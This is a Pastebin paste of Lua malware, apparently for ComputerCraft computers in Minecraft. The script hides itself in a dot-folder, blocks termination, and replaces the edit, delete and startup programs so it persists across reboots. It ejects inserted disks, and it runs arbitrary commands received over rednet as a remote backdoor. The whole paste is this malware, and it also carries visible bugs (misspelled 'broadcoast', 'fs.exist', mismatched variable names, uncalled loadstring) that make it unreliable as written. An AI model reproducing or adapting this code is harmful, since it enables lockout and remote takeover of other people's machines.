Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent() = os.pullEventRaw()
- fs.delete("edit")
- fs.delete("delete")
- fs.delete("startup")
- fs.makeDir(".testFolder")
- fs.copy("test", "/.testFolder/test")
- testTop = rednet.open("top")
- testBot = rednet.open("bottom")
- testRight = rednet.open("right")
- testLeft = rednet.open("left")
- testBack = rednet.open("back")
- testFront = rednet.open("front")
- if testTop then
- rednet.broadcoast("top")
- elseif testBot then
- rednet.broadcoast("bot")
- elseif testRight then
- rednet.broadcoast("right")
- elseif testLeft then
- rednet.broadcoast("left")
- elseif testBack then
- rednet.broadcoast("back")
- elseif testFront then
- rednet.broadcoast("front")
- end
- edit = fs.open("/.testFolder/edit", "w")
- edit.write("print(\"lol\")")
- edit.close()
- checkEdit = function()
- if not fs.exist("edit") then
- fs.copy("/.testFolder/edit", "edit")
- end
- end
- delete = fs.open("/.testFolder/delete", "w")
- delete.write("print(\"Not this time !\")")
- delete.close()
- checkDelete = function()
- if not fs.exist("delete") then
- fs.copy("/.testFolder/delete", "delete")
- end
- end
- startup = fs.open("/.testFolder/startup", "w")
- startup.write("shell.run(\"test\")")
- startup.close()
- checkStartup = function()
- if not fs.exist("startup") then
- fs.copy("/.testFolder/startup", "startup")
- end
- end
- rednet.broadcoast("&done")
- receive = function()
- id, commandS = rednet.receive()
- command = textutils.unserialize(commandS)
- if command.isExe == "true" then
- if command.type == "f" then
- loadstring(command.content)
- elseif command.type == "p" then
- shell.run(command.content)
- end
- end
- end
- parallel.waitForAll(checkEdit, checkDelete, checkStartup, receive)
- checkDisk = function()
- if disk.isPresent("top") then
- disk.eject("top")
- elseif disk.isPresent("bottom") then
- disk.eject("bottom")
- elseif disk.isPresent("right") then
- disk.eject("right")
- elseif disk.isPresent("left") then
- disk.eject("left")
- elseif disk.isPresent("front") then
- disk.eject("front")
- elseif disk.isPresent("back") then
- disk.eject("back")
- end
- end
- dataFile = fs.open("/.testFolder/data", "w")
- datafile.write("id="..id)
- datafile.close()
- local exit = 0
- while exit == 0 do
- parallel.waitForAny(checkEdit, checkDelete, checkStartup, receive, checkDisk)
- os.sleep(1)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement